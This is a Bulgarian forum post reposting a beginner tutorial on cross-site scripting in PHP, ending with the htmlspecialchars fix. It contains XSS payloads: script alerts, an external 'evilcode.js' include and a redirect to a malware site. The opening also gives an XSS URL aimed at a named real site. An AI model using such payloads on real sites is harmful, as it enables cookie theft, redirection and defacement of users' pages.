Добре бе деба (извинявам се

), толкова ли e трудно да си защитите скапаните страници от XSS ? Знаете, че има лапенца на по 12 години които крадат cookies и ви бутат сайтовете, само и само да станат "известни" ...
http://fun-bg.org/search?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E
Ето един урок, написан от колегата Elven, с чиято помощ правиме едно малко проектче.
XSS атаки
Сега ще ви раскажа какво e XSS,как се exploit-ва,и как да се защитим.
Да почнем от това какво е XSS - XSS се превежда като (X)Cross Site Scripting (Междусайтово Скриптиране).
В днешно време,доста голяма част от Българските сайтове не отделят внимание на този тип проблем.Смятат го са незначителен.
Но всъщност проблема е доста коварен,и може да доведе до големи проблеми,за по големите сайтова като Facebook,Twitter и други.
Какво представлява то.Нека представим че имате сайт,в този сайт има $_GET['name'],примерно.Това $_GET['name'],се print()-ва във RAW форма
без филтриране и други глупости.
Код:
<?php
print $_GET['name'];
?>
Сещате се,че може вместо някое име,да добавим примерно:
Код:
index.php?name=<h1>I HACKED YOU</h1>
И ще получим
Можем и да го поуформим малко...
Код:
index.php?name=<div align=center><font size=72>I HACKED YOU</font></div>
Резултат
Както виждате,това е доста безполезно,защото така няма,да направим нещо разрушително.За тази цел,ще ползваме JavaScript.
Тъй като JS,се изпълнява от страната на клиента,то това дава на "хакера",предимства.
Във (X)HTML,JS се вгражда по следния начин,
Или ако искамте скрипта от външен източник
Код:
<script src=http://xxx.js></script>
Метода от външен източник е най полезен,когато print()-a филтрира кавичките.
Нека пробваме един simple,метод:
Код:
index.php?name=<script>alert(/xss/)</script>
Уаля
Тъй като print()-а филтрира кавичките,на нас ни трябва external file.
За тази цел,създаваме файл
evilcode.js на някой сървър (може и локален).
В него пишеме следното:
Код:
var str = "Hello World";
document.write(str);
И го добавяме по средством:
Код:
<script src=http://127.0.0.1/zapprotect/XSS/evilcode.js></script>
Резултат:
Това не ни носи кой знае какви резултати,но ако модефицираме скрипта,да прави по разрушителни неща като.
Код:
window.location = "Virus Site";
Това ще ни пренасочи към Virus Site,който съръжда максимално количество зловреден код.
Има два вида XSS атаки.Активни и Пасивни.
Това което демонстрирах е активния тип,жертвата трябва да мине през този Link,за да има резултат.
Пасивния тип:
Примерно имаме система,и там има профили.Във профила има полета като "Местоположение","Дата на раждане","Подпис" и т.н.
Teзи полета не са защитени,следователно,можем да впишем,нашия зловреден код вътре,което ще довете до горния резултат,но
жервата НЕ трябва да посещава нашия "лош" линк.
Защита
Защитата срещу това е достатъчно проста....
Параметрите като $_POST[]/$_GET[] могат да се филтрират с помоща на функцията
Ако php кода ни ще съдържа:
Код:
<?php
print htmlspecialchars($_GET['name']);
?>
То всичко,което съдържа:
Ще се заменя със:
Това ще ни обезопаси,достатъчно,срещу такива неприятни случай.
The End
Автор:Elven`\Elfinity